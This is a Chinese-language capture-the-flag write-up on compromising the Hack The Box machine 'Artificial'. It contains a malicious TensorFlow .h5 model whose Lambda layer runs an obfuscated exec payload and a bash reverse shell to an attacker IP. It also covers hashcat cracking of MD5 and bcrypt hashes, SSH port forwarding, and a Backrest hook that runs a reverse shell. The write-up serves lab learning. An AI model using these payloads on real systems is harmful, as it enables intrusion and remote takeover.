【Hack The Box】Artificial Write Up

前言

在拿下Artificial的过程中,受到了Ayame大佬的这篇Write Up的巨大帮助,在我迷茫的时候给了我很多启发,在此表示感谢。

信息收集

Nmap

bash 复制代码
nmap -A 10.10.11.74

发现了80端口开放,且存在域名artificial.htb。

在本地hosts文件添加一条记录。

bash 复制代码
10.10.11.74     artificial.htb

dirb

没有发现任何有价值的目录,不再赘述。

获得立足点

访问artificial.htb。

往下翻一翻,看到了一个示例代码,感觉有用,先保存一份。

回到上面,看到有登录和注册。先注册一个账号看看系统有什么功能。

发现可以上传模型。

之前收集的示例代码不就有用了嘛!

那看看示例代码可能有什么漏洞吧。

发现模型存储的格式为.h5。这个格式是一种比较老旧的格式,TensorFlow官网明确说明不建议使用。 搜索一下相关漏洞,发现tensorflow-rce这个漏洞。 漏洞的原理很简单,在生成的.h5格式的模型文件中,可以加入一个Lambda层,这个层的内容可以是一个引用的方法。而如果这个方法是一个攻击者(就是我们啦)提供的具有恶意行为的方法,则可能造成命令执行等问题。

直接改一下之前的示例代码,加入RCE。

python 复制代码
import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers


# 添加
def hack(a):
    try:
        exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9T11LBCEUfR5/hW8qmcyWDbQ0QUQPERG0+xYRM3orGUdF3ZqK/nsrLsHlXs49534cMwcfM05eTZD5tzUjH4cEneQpx53KPJsZ0KuPeMHG4Ti4N6Crlq1Rk+PXPjepr8OiFnrCD3jzcH33stk+3lzds6ITyjsHKlNKVq0o0YlzwqU8ZYUfIwwTamBREHJZXC6LZAECPWPI9vUhsXNhUBMll7eEJxFBfVDJ2FP7jHR/wJahz3djAVtwVLMLu1+nj/7Z49pmCBZQtHgWGpSfQ4SUaLUvxk6Wpoai5D8kkXX6ZegP5xleWw==')[0])))
        return a
    except:
        return a


np.random.seed(42)

# Create hourly data for a week
hours = np.arange(0, 24 * 7)
profits = np.random.rand(len(hours)) * 100

# Create a DataFrame
data = pd.DataFrame({
    'hour': hours,
    'profit': profits
})

X = data['hour'].values.reshape(-1, 1)
y = data['profit'].values

# Build the model
model = keras.Sequential([
    layers.Dense(64, activation='relu', input_shape=(1,)),
    layers.Dense(64, activation='relu'),
    layers.Dense(1)
])

# 添加
model.add(layers.Lambda(hack))

# Compile the model
model.compile(optimizer='adam', loss='mean_squared_error')

# Train the model
model.fit(X, y, epochs=100, verbose=1)

# Save the model
model.save('profits_model.h5')

注意上面的代码,tensorflow-rce中直接写了反弹shell的语句,如果想编译通过,需要在一个可以访问到目标ip的主机编译。但是,我不想在kali装各种依赖包,因此选择了在自己的虚拟机上编译,加一个"try except"保证编译通过。

启动msfconsole,使用payload python/meterpreter/reverse_tcp,启动监听。如何使用msfconsole不再赘述。

运行python文件,生成profits_model.h5模型,上传,运行模型。

可以了吗?并不行。连接成功,但是一瞬间就断了。

而且可能是机器配置较低的原因,编译模型等了好久。

查了好久,没有查到原因。

看看Ayame大佬怎么做的吧。Ayame大佬是直接使用的POC,而且是使用的基于bash反弹shell的方式,并没有使用msf。看来后面还是要用bash的方式反弹shell,感觉稳定性好一些。

而且,很关键的一点,Ayame大佬是使用网站给出的Dockerfile构建的Docker环境生成的模型文件。

打开Dockerfile文件看一下,发现镜像只会安装tensorflow_cpu-2.13.1这一个Python依赖,而且使用的Python版本为3.8,猜测就是因为Python版本不同,所以模型运行不成功。

ok,知道了问题,继续吧。

使用Dockerfile构建一个镜像,镜像名称和版本可以随意写。注意在Dockerfile目录下执行命令。

bash 复制代码
sudo docker build -t hack:1.0 .

启动容器。注意"-td"参数,"t"的意思是分配一个伪终端,"d"的意思是在后台运行容器并且打印容器ID。如果不使用这两个参数,容器启动后会立即停止。更多参数解析可以参考官方文档

bash 复制代码
sudo docker run -td hack:1.0

修改代码。(没错,我还是没有直接使用tensorflow-rce的POC,就是这么叛逆;)。)

这里有一个点,反弹shell使用了"bash -c"包裹了一层。这是因为靶机使用的是Ubuntu,而Ubuntu的默认shell(即/bin/sh指向的二进制文件)是dash而不是bash,并且dash是不支持"-i"参数和">& /dev/tcp/10.10.16.9/2333"这种写法,所以反弹shell不能成功。具体解释可以看这个这个这个

python 复制代码
# a.py

from tensorflow import keras
from keras import layers


def hack(a):
    import os
    try:
        os.system("bash -c \"bash -i >& /dev/tcp/10.10.16.9/2333 0>&1\"")

        return a
    except:
        return a

# Build the model
model = keras.Sequential([
    layers.Input(shape=(64,))
])

model.add(layers.Lambda(hack))

# Compile the model
model.compile()

# Save the model
model.save('profits_model.h5')

复制Python脚本到容器中。注意hopeful_knuth为我的容器的名称,这个是随机的,只需要替换为你的容器名称就好。如果不知道容器的名称是什么,可以用docker ps -a命令查看。

bash 复制代码
sudo docker cp a.py hopeful_knuth:/code

进入容器。

bash 复制代码
sudo docker exec -it hopeful_knuth /bin/bash

【容器内】运行Python脚本,生成模型文件。

bash 复制代码
python3 a.py

exit退出容器,将容器内的模型文件复制到宿主机。

bash 复制代码
sudo docker cp hopeful_knuth:/code/profits_model.h5 .

启动nc监听。

bash 复制代码
nc -lvvp 2333

上传模型,查看预测结果。

成功拿到shell。

提权

先尝试常规方法提权到root权限,没有任何结果,也没有发现User Flag,不再赘述。

gael

查看home目录,看到有一个gael用户。看来要先提权到gael了。 看到app目录下存在网站的源代码,准备拉下来做个代码审计,看看有没有什么可以利用的漏洞。 先打个包。

bash 复制代码
tar -zcvf app.tar.gz .

启动一个web服务。

bash 复制代码
python3 -m http.server 8000

浏览器访问这个地址,把压缩包下载下来。

拿到源代码之后,翻了一下,没什么特别的内容。不过看到了一个名称为users.db的文件,这不就有了嘛。

直接用sqlitebrowser打开,看到有个user表,里面有gael用户的邮箱和加密后的密码。

联想到需要提权到系统的gael用户权限,应该是密码复用了。 现在问题就是怎么破解出密码的明文了。 先看看源代码,是使用什么方式加密的。 在app.py中找到login方法,看到调用了一个名为hash的方法来加密密码。

python 复制代码
if user and user.password == hash(password):
    session['user_id'] = user.id
    session['username'] = user.username
    return redirect(url_for('dashboard'))

再来看看hash方法的内容。

python 复制代码
def hash(password):
   password = password.encode()
   hash = hashlib.md5(password).hexdigest()
   return hash

只是一个简单的md5加密嘛。 请出hashcat。

bash 复制代码
hashcat -a 0 -m 0 c991759*******************8a34f8 rockyou.txt

破解得到明文密码"mat**********rtwo"。 通过ssh登录到gael用户,拿到User Flag。

root

尝试常规方法提权到root权限,没有任何结果。 没有思路了,求助Ayame大佬吧。大佬是看了一下本地监听端口,发现了存在其他的服务。 照着大佬的方法做。

bash 复制代码
ss -tunlp

发现有两个比较可疑的端口,一个是5000端口,一个是9898端口。

经过测试,5000端口是之前的web服务,9898端口才是我们的目标。

但是它只监听了本地回环地址,如果想要访问,需要将端口转发出来。

因为我们知道gael用户的密码,可以使用ssh本地端口转发。注意,下面的命令是在本地执行的。

bash 复制代码
ssh -CfNg -L 9999:127.0.0.1:9898 gael@10.10.11.74

使用浏览器访问,可以看到已经访问成功。

但是需要登录,要去哪找用户名和密码呢?

无意中执行了id命令,看到gael用户属于sysadm组。

经过各种尝试,最后发现sysadm组下有一个备份文件。

bash 复制代码
find / -type f -group sysadm 2>/dev/null

照例,拉下来看看是什么。拉取方式和之前一样,不再赘述。

尝试解压,问题就来了。报错。

难道是我的打开方式不对?难道不能直接解压?

于是各种翻找文档,甚至在本地搭建了一个实例(这里面也有无数的坑),历经千辛万苦,仍然没有解决。 没办法了,再次求助Ayame大佬。

嗯?大佬直接就解压了......

这合理吗?

那回来看看我的解压命令吧。

bash 复制代码
tar -zxvf backrest_backup.tar.gz

在搜索相关报错之后发现,-z参数表示这是一个gzip压缩文件。然而,文件名以.gz结尾并不意味着它是一个gzip压缩文件。如果文件实际上是一个未压缩的tar归档文件,而不是gzip压缩文件,使用-z选项会导致错误。

修改解压命令。

bash 复制代码
tar -xvf backrest_backup.tar.gz

成功解压。

注意,解压后如果是在可视化窗口打开,可能会看不到.config目录。(.开头,隐藏文件嘛。)可以使用Ctrl + H显示隐藏文件,或者直接命令行ls -la吧。

在.config目录下发现一个config.json文件,打开看一下。

有个backrest_root用户,密码是通过Bcrypt加密的。

但是很奇怪,这个格式也不是Bcrypt密文的格式呀。有点困惑,看看Ayame大佬的文章吧。(已经被折腾的失去耐心......)

原来是Base64编码后的结果......(没看到结尾的"="就没想到是Base64编码,不太应该!)

那先解个码吧。

bash 复制代码
echo 'JDJhJDEwJG************************************************************VCWnovMFFP' | base64 -d

得到解码后的密码" <math xmlns="http://www.w3.org/1998/Math/MathML"> 2 a 2a </math>2a10$cVGIy9*****************************************Zz/0QO"。

然后hashcat解密。

bash 复制代码
hashcat -a 0 -m 3200 '$2a$10$cVGIy9*****************************************Zz/0QO' rockyou.txt

得到明文密码"!****^"。

登录系统成功。

Ayame大佬在这一步是使用备份文件的方式拿到的Root Flag,但是我想拿到一个shell。(其实,受到大佬的启发,可以将root目录下的id_rsa文件导出到本地,再通过ssh登录,同样可以获得shell。不过这种方式我并没有尝试,感兴趣的话可以试一下。)

好在之前折腾过这个软件,对各种功能也比较熟了,之前的时间也算没有白费。

先运行nc,准备接收shell。

bash 复制代码
nc -lvvp 2333

新建一个仓库,名称什么的可以随便填。

然后再新建一个计划,名称随便填,仓库选择之前创建的那个。关键点来了,路径要写一个系统绝对不会存在的路径。然后下拉,找到计划时间,选择每分钟触发。再下拉,找到Hooks --> Add Hook --> Command,触发条件选择"CONDITION_ANY_ERROR",Script处填写bash -c "bash -i >& /dev/tcp/10.10.16.10/2333 0>&1"。(因为是分多次完成的,所以ip地址和之前不同。)

原理是我们的计划选择了一个系统不存在的路径,在执行计划的过程中必定会报错。由于Hooks触发条件选择了当错误发生时执行命令,而命令又是反弹shell的指令,因此可以得到shell。

提交,等待计划运行。

成功拿到shell,查看Root Flag。

后记

这次尝试的靶机难度是属于偏简单的,但是确实水平有限,中间参考了大佬的解答才有思路。加上中间有事,断断续续做了两周才做完,又花了两天时间才整理好。我尽可能详细的记录了拿下靶机过程中的操作步骤及遇到的问题,希望能对看到的人有一点帮助。大家共同进步!

相关推荐
用户962377954487 分钟前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机3 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机3 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954485 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star5 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954488 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透5 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全